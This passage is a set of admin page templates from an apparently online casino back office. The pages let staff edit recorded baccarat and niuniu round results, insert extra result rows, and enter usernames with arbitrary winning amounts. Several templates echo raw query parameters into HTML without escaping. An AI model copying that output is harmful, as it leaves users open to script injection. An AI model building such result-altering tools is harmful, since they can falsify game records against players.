.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
|
||||
.alert{position:fixed; top:15%; left:30%; width:400px; min-height:210px; background:#fff; border:1px solid #e2e2e2; border-radius:5px; display:none;}
|
||||
.alert-title{background:#009688; height:40px; text-align: center; line-height:40px; font-size:14px; border-bootom:1px solid #F2F2F2;color:#fff;}
|
||||
.add_input{padding: 10px; font-size: 14px;text-align: center;}
|
||||
.alert-footer{padding:20px; text-align:center;}
|
||||
.alert-footer span{padding:10px 30px; display:inline-block; border-radius:5px; cursor:pointer;}
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="layui-row">
|
||||
<span class="layui-btn" style="margin-left: 20px;" onclick="showAdd()">添加</span>
|
||||
</div>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>用户名</th>
|
||||
<th>赢钱金额</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="optimum_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.username}</td>
|
||||
<td>{$vo.win_money}</td>
|
||||
<td>
|
||||
<a href="javascript:;" onclick="edit_optimum(this)" edit_id="{$vo.id}" edit_username="{$vo.username}" edit_win_money="{$vo.win_money}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;" >修改</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<div class="alert" id="alert_add">
|
||||
<div class="alert-title">添加记录</div>
|
||||
<div class="alert-main">
|
||||
<div class="add_input"> 用户名:<input id="add_username" name="add_username" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">赢钱金额:<input id="add_winmoney" name="add_winmoney" type="text" value maxlength="50" minlength="3"></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_add_optimum()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_add')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="alert" id="alert_edit">
|
||||
<div class="alert-title">修改记录</div>
|
||||
<div class="alert-main">
|
||||
<input type="hidden" id="edit_id" value="">
|
||||
<div class="add_input"> 用户名:<input id="edit_username" name="receivables_name" type="text" value maxlength="50" minlength="3"></div>
|
||||
<div class="add_input">赢钱金额:<input id="edit_win_money" name="receivables_bank" type="text" value maxlength="50" minlength="3"></div>
|
||||
</div>
|
||||
<div class="alert-footer">
|
||||
<span onclick="do_edit_optimum()" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">提交</span>
|
||||
<span onclick="hiddenForm('alert_edit')" class="input_button" style="background:#009688; border:1px solid #e2e2e2;color:#fff;">关闭</span>
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
// 显示用户的赔率
|
||||
function showAdd(){
|
||||
$('#alert_add').show();
|
||||
}
|
||||
//点击隐藏表单弹窗
|
||||
function hiddenForm(id) {
|
||||
$('#add_username').val('');
|
||||
$('#add_winmoney').val('');
|
||||
$('#' + id).hide();
|
||||
}
|
||||
function do_add_optimum(){
|
||||
var query = new Object();
|
||||
query.username = $('#add_username').val();
|
||||
query.win_money = $('#add_winmoney').val();
|
||||
if(query.username.length == 0){
|
||||
layer.alert("请填写用户名!");
|
||||
return false;
|
||||
}
|
||||
if(query.win_money.length == 0){
|
||||
layer.alert("请填写赢钱金额!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/tip/do_add_optimum',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/tip/optimum";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
function edit_optimum(obj){
|
||||
var id = $(obj).attr('edit_id');
|
||||
var username = $(obj).attr('edit_username');
|
||||
var win_money = $(obj).attr('edit_win_money');
|
||||
$('#edit_id').val(id);
|
||||
$('#edit_username').val(username);
|
||||
$('#edit_win_money').val(win_money);
|
||||
$('#alert_edit').show();
|
||||
}
|
||||
function do_edit_optimum(){
|
||||
var query = new Object();
|
||||
query.edit_id = $('#edit_id').val();
|
||||
query.username = $('#edit_username').val();
|
||||
query.win_money = $('#edit_win_money').val();
|
||||
if(query.username.length == 0){
|
||||
layer.alert("请填写用户名!");
|
||||
return false;
|
||||
}
|
||||
if(query.win_money.length == 0){
|
||||
layer.alert("请填写赢钱金额!");
|
||||
return false;
|
||||
}
|
||||
var result = ajax('/tip/do_edit_optimum',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/tip/optimum";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,503 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-cn">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="renderer" content="webkit">
|
||||
<title>百家乐路单修改</title>
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/pintuer.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/admin.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/sweet-alert.css">
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/pintuer.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/functions.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/sweet-alert.min.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/laydate/laydate.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<style>
|
||||
.main-box{ width:100%; box-sizing:border-box; border: solid 1px #ddd; border-radius: 4px; -moz-box-sizing:border-box; /* Firefox */ -webkit-box-sizing:border-box; /* Safari */ }
|
||||
.select-box{width:180px; padding:6px 10px; border:1px solid #ddd; border-radius:3px; margin-right:0px;margin-right:10px;}
|
||||
</style>
|
||||
</head>
|
||||
<body style="margin:20px;">
|
||||
<div class="admin-panel main-box">
|
||||
<div class="panel-head"><strong class="icon-reorder"> 搜索查询</strong></div>
|
||||
<div class="padding border-bottom">
|
||||
<ul class="search" style="padding-left:10px;">
|
||||
<li>
|
||||
<dl class="search-dl">
|
||||
<dd>开始时间:</dd>
|
||||
<dd>
|
||||
<input class="select-box" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
</dd>
|
||||
<dd>结束时间:</dd>
|
||||
<dd>
|
||||
<input class="select-box" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
</dd>
|
||||
<dd style="margin-right:10px;">
|
||||
<select id="search_table_id" name="search_table_id" class="select-box">
|
||||
<option value="-1">请选择桌子</option>
|
||||
{volist name="$table_list" id="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['search_table_id']) && $get['search_table_id'] == $vo['id']){echo 'selected="selected"';} ?>>{$vo.table_name}</option>
|
||||
{/volist}
|
||||
</select>
|
||||
</dd>
|
||||
<!--
|
||||
<dd>靴号: </dd>
|
||||
<dd style="margin-right:10px;">
|
||||
<select id="search_boot_id" name="search_boot_id" class="select-box">
|
||||
<option value="-1">请选择靴</option>
|
||||
</select>
|
||||
</dd>
|
||||
--><!--
|
||||
<dd>铺号: </dd>
|
||||
<dd style="margin-right:20px;">
|
||||
<select id="search_number_id" name="search_number_id" class="select-box">
|
||||
<option value="-1">请选择铺</option>
|
||||
</select>
|
||||
<a href="javascript:void(0)" class="button border-main icon-file-excel-o" onclick="downloadExcel()" > 导出当前数据</a>
|
||||
</dd>-->
|
||||
<a href="javascript:void(0)" class="button border-main icon-search" onclick="changesearch()" > 查询</a>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
<table class="table table-hover text-center">
|
||||
<tr>
|
||||
<th>游戏名称</th>
|
||||
<th>桌子名称</th>
|
||||
<th>靴号</th>
|
||||
<th>铺号</th>
|
||||
<th>结果</th>
|
||||
<th>提交时间</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
{volist name="$number_tab_list" id="vo"}
|
||||
<tr class="vlist">
|
||||
<td>{$vo.game_name}</td>
|
||||
<td>{$vo.table_name}</td>
|
||||
<td>{$vo.boot_num}</td>
|
||||
<td>{$vo.number}</td>
|
||||
{if condition="$vo.pair == ''"}
|
||||
<td>{$vo.result}</td>
|
||||
{else}
|
||||
<td>{$vo.result}-{$vo.pair}</td>
|
||||
{/if}
|
||||
<td>{$vo.start_time}</td>
|
||||
<td>
|
||||
<div class="button-group">
|
||||
<a class="button border-main" href="javascript:;"
|
||||
data-game_name="{$vo.game_name}"
|
||||
data-table_name="{$vo.table_name}"
|
||||
data-boot_num="{$vo.boot_num}"
|
||||
data-number="{$vo.number}"
|
||||
data-result="{$vo.result}"
|
||||
data-pair="{$vo.pair}"
|
||||
data-win6="{$vo.win6}"
|
||||
data-start_time="{$vo.start_time}"
|
||||
data-game_id="{$vo.game_id}"
|
||||
data-table_id="{$vo.table_id}"
|
||||
data-boot_id="{$vo.boot_id}"
|
||||
data-number_tab_id="{$vo.id}"
|
||||
onclick="alertEidt(this)">修改</a>
|
||||
<a class="button border-main" href="javascript:;"
|
||||
data-game_name="{$vo.game_name}"
|
||||
data-table_name="{$vo.table_name}"
|
||||
data-boot_num="{$vo.boot_num}"
|
||||
data-number="{$vo.number}"
|
||||
data-game_id="{$vo.game_id}"
|
||||
data-table_id="{$vo.table_id}"
|
||||
data-boot_id="{$vo.boot_id}"
|
||||
data-number_tab_id="{$vo.id}"
|
||||
onclick="alertAdd(this)">在该铺后增加一口路单</a>
|
||||
<!--<a class="button border-main" href="javascript:void(0)" onclick="deleteWaybill('{$vo.id}')">删除</a>-->
|
||||
</div>
|
||||
</td>
|
||||
</tr>
|
||||
{/volist}
|
||||
<tr>
|
||||
<td colspan="99" style="border-left:none;"><div colspan="99" style="text-align:center;">{$number_tab_list->render()}</div></td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<input type="hidden" value="<?php if(isset($get['search_table_id'])) {echo $get['search_table_id'];} ?>" id="table_id">
|
||||
<input type="hidden" value="<?php if(isset($get['search_boot_id'])) {echo $get['search_boot_id'];} ?>" id="boot_id">
|
||||
<input type="hidden" value="<?php if(isset($get['search_number_id'])) {echo $get['search_number_id'];} ?>" id="number_id">
|
||||
<div class="update-ludan" id="update_ludan" style="display:none;">
|
||||
<div class="update-ludan-title">修改结果</div>
|
||||
<div class="update-ludan-msg">
|
||||
开始时间:<span id="h_show_start_time"></span><br>
|
||||
<span id="h_show_table_name"></span>-第<span id="h_show_boot_num"></span>靴-第<span id="h_show_number"></span>铺<br>
|
||||
原结果:<span id="h_show_result"></span> <span id="h_show_pair"></span> <span id="h_show_win6"></span>
|
||||
</div>
|
||||
<div class="update-ludan-content">
|
||||
请选择结果:
|
||||
<select id="update_ludan_result">
|
||||
<option value="">请选择</option>
|
||||
<option value="1-0">庄</option>
|
||||
<option value="2-0">闲</option>
|
||||
<option value="3-0">和</option>
|
||||
<option value="1-1">庄-庄对</option>
|
||||
<option value="1-2">庄-闲对</option>
|
||||
<option value="1-3">庄-庄闲对</option>
|
||||
<option value="2-1">闲-庄对</option>
|
||||
<option value="2-2">闲-闲对</option>
|
||||
<option value="2-3">闲-庄闲对</option>
|
||||
<option value="3-1">和-庄对</option>
|
||||
<option value="3-2">和-闲对</option>
|
||||
<option value="3-3">和-庄闲对</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="update-ludan-win6">
|
||||
是否赢6 : 否 <input name="updatewin6" type="radio" value="0" checked="checked" /> 是 <input name="updatewin6" type="radio" value="1" /></label>
|
||||
</div>
|
||||
<div class="update-ludan-footer">
|
||||
<input type="hidden" id="h_game_id" value="">
|
||||
<input type="hidden" id="h_table_id" value="">
|
||||
<input type="hidden" id="h_boot_id" value="">
|
||||
<input type="hidden" id="h_number_tab_id" value="">
|
||||
<a id="confirm_update_ludan">确认</a>
|
||||
<a id="cancel_update_ludan">取消</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="update-ludan" id="add_ludan" style="display:none;">
|
||||
<div class="update-ludan-title" style="color:#f00;">增加路单</div>
|
||||
<div class="update-ludan-msg">
|
||||
在 <span id="add_show_table_name"></span>-第<span id="add_show_boot_num"></span>靴-第<span id="add_show_number"></span>铺 后增加一个路单:
|
||||
</div>
|
||||
<div class="update-ludan-content">
|
||||
请选择结果:
|
||||
<select id="add_ludan_result">
|
||||
<option value="">请选择</option>
|
||||
<option value="1-0">庄</option>
|
||||
<option value="2-0">闲</option>
|
||||
<option value="3-0">和</option>
|
||||
<option value="1-1">庄-庄对</option>
|
||||
<option value="1-2">庄-闲对</option>
|
||||
<option value="1-3">庄-庄闲对</option>
|
||||
<option value="2-1">闲-庄对</option>
|
||||
<option value="2-2">闲-闲对</option>
|
||||
<option value="2-3">闲-庄闲对</option>
|
||||
<option value="3-1">和-庄对</option>
|
||||
<option value="3-2">和-闲对</option>
|
||||
<option value="3-3">和-庄闲对</option>
|
||||
</select>
|
||||
</div>
|
||||
<div class="update-ludan-win6">
|
||||
是否赢6 : 否 <input name="addwin6" type="radio" value="0" checked="checked" /> 是 <input name="addwin6" type="radio" value="1" /></label>
|
||||
</div>
|
||||
<div class="update-ludan-footer">
|
||||
<input type="hidden" id="add_game_id" value="">
|
||||
<input type="hidden" id="add_table_id" value="">
|
||||
<input type="hidden" id="add_boot_id" value="">
|
||||
<input type="hidden" id="add_number_tab_id" value="">
|
||||
<a id="confirm_add_ludan">确认</a>
|
||||
<a id="cancel_add_ludan">取消</a>
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
function alertAdd(obj){
|
||||
$('#add_ludan').show();
|
||||
$('#add_game_id').val($(obj).attr("data-game_id"));
|
||||
$('#add_table_id').val($(obj).attr("data-table_id"));
|
||||
$('#add_boot_id').val($(obj).attr("data-boot_id"));
|
||||
$('#add_number_tab_id').val($(obj).attr("data-number_tab_id"));
|
||||
|
||||
$('#add_show_table_name').html($(obj).attr("data-table_name"));
|
||||
$('#add_show_boot_num').html($(obj).attr("data-boot_num"));
|
||||
$('#add_show_number').html($(obj).attr("data-number"));
|
||||
}
|
||||
function alertEidt(obj){
|
||||
$('#update_ludan').show();
|
||||
$('#h_game_id').val($(obj).attr("data-game_id"));
|
||||
$('#h_table_id').val($(obj).attr("data-table_id"));
|
||||
$('#h_boot_id').val($(obj).attr("data-boot_id"));
|
||||
$('#h_number_tab_id').val($(obj).attr("data-number_tab_id"));
|
||||
|
||||
$('#h_show_start_time').html($(obj).attr("data-start_time"));
|
||||
$('#h_show_table_name').html($(obj).attr("data-table_name"));
|
||||
$('#h_show_boot_num').html($(obj).attr("data-boot_num"));
|
||||
$('#h_show_number').html($(obj).attr("data-number"));
|
||||
$('#h_show_result').html($(obj).attr("data-result"));
|
||||
$('#h_show_pair').html($(obj).attr("data-pair"));
|
||||
if($(obj).attr("data-win6") == 1){
|
||||
$('#h_show_win6').html('赢6');
|
||||
}else{
|
||||
$('#h_show_win6').html('');
|
||||
}
|
||||
}
|
||||
|
||||
$(function(){
|
||||
$('#cancel_update_ludan').click(function (){
|
||||
$('#update_ludan').hide();
|
||||
})
|
||||
$('#confirm_update_ludan').click(function (){
|
||||
var query = new Object();
|
||||
if($('#h_game_id').val() > 0 && $('#h_table_id').val() > 0 && $('#h_boot_id').val() > 0 && $('#h_number_tab_id').val() > 0){
|
||||
query.game_id = $('#h_game_id').val();
|
||||
query.table_id = $('#h_table_id').val();
|
||||
query.boot_id = $('#h_boot_id').val();
|
||||
query.number_tab_id = $('#h_number_tab_id').val();
|
||||
var result = $('#update_ludan_result').val();
|
||||
if(result == ''){
|
||||
layer.msg('请选择结果然后再提交');
|
||||
return false;
|
||||
}
|
||||
result = result + '-' + $("input[name='updatewin6']:checked").val();
|
||||
query.result = result;
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/edit_number_tab',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
}else{
|
||||
layer.msg('数据出错,不能修改,请稍后再试');
|
||||
return false;
|
||||
}
|
||||
})
|
||||
|
||||
$('#cancel_add_ludan').click(function (){
|
||||
$('#add_ludan').hide();
|
||||
})
|
||||
$('#confirm_add_ludan').click(function (){
|
||||
var query = new Object();
|
||||
if($('#add_game_id').val() > 0 && $('#add_table_id').val() > 0 && $('#add_boot_id').val() > 0 && $('#add_number_tab_id').val() > 0){
|
||||
query.game_id = $('#add_game_id').val();
|
||||
query.table_id = $('#add_table_id').val();
|
||||
query.boot_id = $('#add_boot_id').val();
|
||||
query.number_tab_id = $('#add_number_tab_id').val();
|
||||
var result = $('#add_ludan_result').val();
|
||||
if(result == ''){
|
||||
layer.msg('请选择结果然后再提交');
|
||||
return false;
|
||||
}
|
||||
result = result + '-' + $("input[name='addwin6']:checked").val();
|
||||
query.result = result;
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/add_number_tab',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
}else{
|
||||
layer.msg('数据出错,不能修改,请稍后再试');
|
||||
return false;
|
||||
}
|
||||
})
|
||||
|
||||
/* 查询之后保留查询条件 */
|
||||
var table_id = $('#table_id').val();
|
||||
var boot_id = $('#boot_id').val();
|
||||
var number_id = $('#number_id').val();
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 1;
|
||||
// 保留靴条件
|
||||
if(table_id > 0){
|
||||
// 清除上次遗留的靴数据
|
||||
$('.boot').remove();
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/baccarat_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
if(boot_id == result.data[i].id){
|
||||
str += '<option class="boot" value="'+result.data[i].id+'" selected="selected">'+result.data[i].boot_num+'</option>';
|
||||
}else{
|
||||
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
|
||||
}
|
||||
}
|
||||
// 显示
|
||||
$('#search_boot_id').append(str);
|
||||
}
|
||||
}
|
||||
|
||||
// 保留铺条件
|
||||
if(table_id > 0 && boot_id > 0){
|
||||
// 清除上次遗留的铺数据
|
||||
$('.number').remove();
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,boot_id:boot_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
if(number_id == result.data[i].id){
|
||||
str += '<option class="number" value="'+result.data[i].id+'" selected="selected">'+result.data[i].number+'</option>';
|
||||
}else{
|
||||
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
|
||||
}
|
||||
}
|
||||
// 显示
|
||||
$('#search_number_id').append(str);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/* 监听桌子onchange事件 */
|
||||
$(document).on('change','#search_table_id',function(){
|
||||
// 清除上次遗留的靴和铺数据
|
||||
$('.boot').remove();
|
||||
$('.number').remove();
|
||||
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 1;
|
||||
var table_id = $(this).val();
|
||||
if(table_id <= 0){
|
||||
return false;
|
||||
}
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/baccarat_get_boot',{game_id:game_id,table_id:table_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
str += '<option class="boot" value="'+result.data[i].id+'">'+result.data[i].boot_num+'</option>';
|
||||
}
|
||||
// 显示
|
||||
$('#search_boot_id').append(str);
|
||||
}
|
||||
});
|
||||
|
||||
/* 监听靴onchange事件 */
|
||||
$(document).on('change','#search_boot_id',function(){
|
||||
// 获取参数
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var game_id = 1;
|
||||
var table_id = $('#search_table_id').val();
|
||||
var boot_id = $(this).val();
|
||||
|
||||
if(table_id <= 0) return false;
|
||||
if(boot_id <= 0) return false;
|
||||
|
||||
// 提交桌号给后台获取靴数据
|
||||
var result = ajax('/waybill/get_number',{game_id:game_id,table_id:table_id,'boot_id':boot_id,startDate:startDate,endDate:endDate});
|
||||
if(result.code == 1){
|
||||
var str = "";
|
||||
for(var i = 0; i < result.data.length; i++){
|
||||
str += '<option class="number" value="'+result.data[i].id+'">'+result.data[i].number+'</option>';
|
||||
}
|
||||
// 显示
|
||||
$('#search_number_id').append(str);
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
/**
|
||||
* 删除百家乐路单
|
||||
*/
|
||||
function deleteWaybill(id){
|
||||
layer.confirm('确定删除吗?',function(){
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('注单出错!');
|
||||
}
|
||||
var query = new Object;
|
||||
query.number_tab_id = id;
|
||||
|
||||
// 发送数据给后台处理
|
||||
$.ajax({
|
||||
url:'/waybill/delete_baccarat',
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
success:function(data){
|
||||
if(data.code == 1){
|
||||
layer.msg(data.msg,{time:1000},function(){
|
||||
window.location.reload();
|
||||
});
|
||||
}else{
|
||||
layer.msg(data.msg);
|
||||
}
|
||||
}
|
||||
})
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* ajax 封装
|
||||
*/
|
||||
function ajax(url,query)
|
||||
{
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
dataType:"json",
|
||||
type:"POST",
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
|
||||
<script type="text/javascript">
|
||||
//搜索
|
||||
function changesearch(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var search_boot_id = $('#search_boot_id').val();
|
||||
var search_number_id = $('#search_number_id').val();
|
||||
var search_table_id = $('#search_table_id').val();
|
||||
window.location.href="/waybill/baccarat?startDate="+startDate+"&endDate="+endDate+"&search_boot_id="+search_boot_id+"&search_number_id="+search_number_id+"&search_table_id="+search_table_id;
|
||||
}
|
||||
|
||||
//导出excel
|
||||
function downloadExcel(){
|
||||
msgConfirm("您确定要将导出Excel表吗?",function(){
|
||||
window.open("<?php if($query){ echo '?'.$query.'&downloadExcel=1'; }else{ echo '?downloadExcel=1'; } ?>");
|
||||
})
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,484 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="zh-cn">
|
||||
<head>
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no" />
|
||||
<meta name="renderer" content="webkit">
|
||||
<title>牛牛路单修改</title>
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/pintuer.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/admin.css">
|
||||
<link rel="stylesheet" href="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/css/sweet-alert.css">
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/jquery.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/pintuer.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/functions.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/js/sweet-alert.min.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/laydate/laydate.js"></script>
|
||||
<script src="{$Think.ADMIN_STATIC_DOMAIN}static/admin/waybill/layer/layer.js"></script>
|
||||
<script type="text/javascript" src="{$Think.ADMIN_STATIC_DOMAIN}/static/admin/lib/layui/layui.js" charset="utf-8"></script>
|
||||
<style>
|
||||
.main-box{ width:100%; box-sizing:border-box; border: solid 1px #ddd; border-radius: 4px; -moz-box-sizing:border-box; /* Firefox */ -webkit-box-sizing:border-box; /* Safari */ }
|
||||
.select-box{width:180px; padding:6px 10px; border:1px solid #ddd; border-radius:3px; margin-right:0px;margin-right:10px;}
|
||||
</style>
|
||||
</head>
|
||||
<body style="margin:20px;">
|
||||
<div class="admin-panel main-box">
|
||||
<div class="panel-head"><strong class="icon-reorder"> 搜索查询</strong></div>
|
||||
<div class="padding border-bottom">
|
||||
<ul class="search" style="padding-left:10px;">
|
||||
<li>
|
||||
<dl class="search-dl">
|
||||
<dd>开始时间:</dd>
|
||||
<dd>
|
||||
<input class="select-box" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
</dd>
|
||||
<dd>结束时间:</dd>
|
||||
<dd>
|
||||
<input class="select-box" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
</dd>
|
||||
<dd style="margin-right:20px;">
|
||||
<select id="search_table_id" name="search_table_id" class="select-box">
|
||||
<option value="0">请选择桌子</option>
|
||||
{volist name="$table_list" id="vo"}
|
||||
<option value="{$vo.id}" <?php if(isset($get['search_table_id']) && $get['search_table_id'] == $vo['id']){echo 'selected="selected"';} ?>>{$vo.table_name}</option>
|
||||
{/volist}
|
||||
</select>
|
||||
</dd>
|
||||
<!--
|
||||
<dd>靴号: </dd>
|
||||
<dd style="margin-right:10px;">
|
||||
<select id="search_boot_id" name="search_boot_id" class="select-box">
|
||||
<option value="-1">请选择靴</option>
|
||||
</select>
|
||||
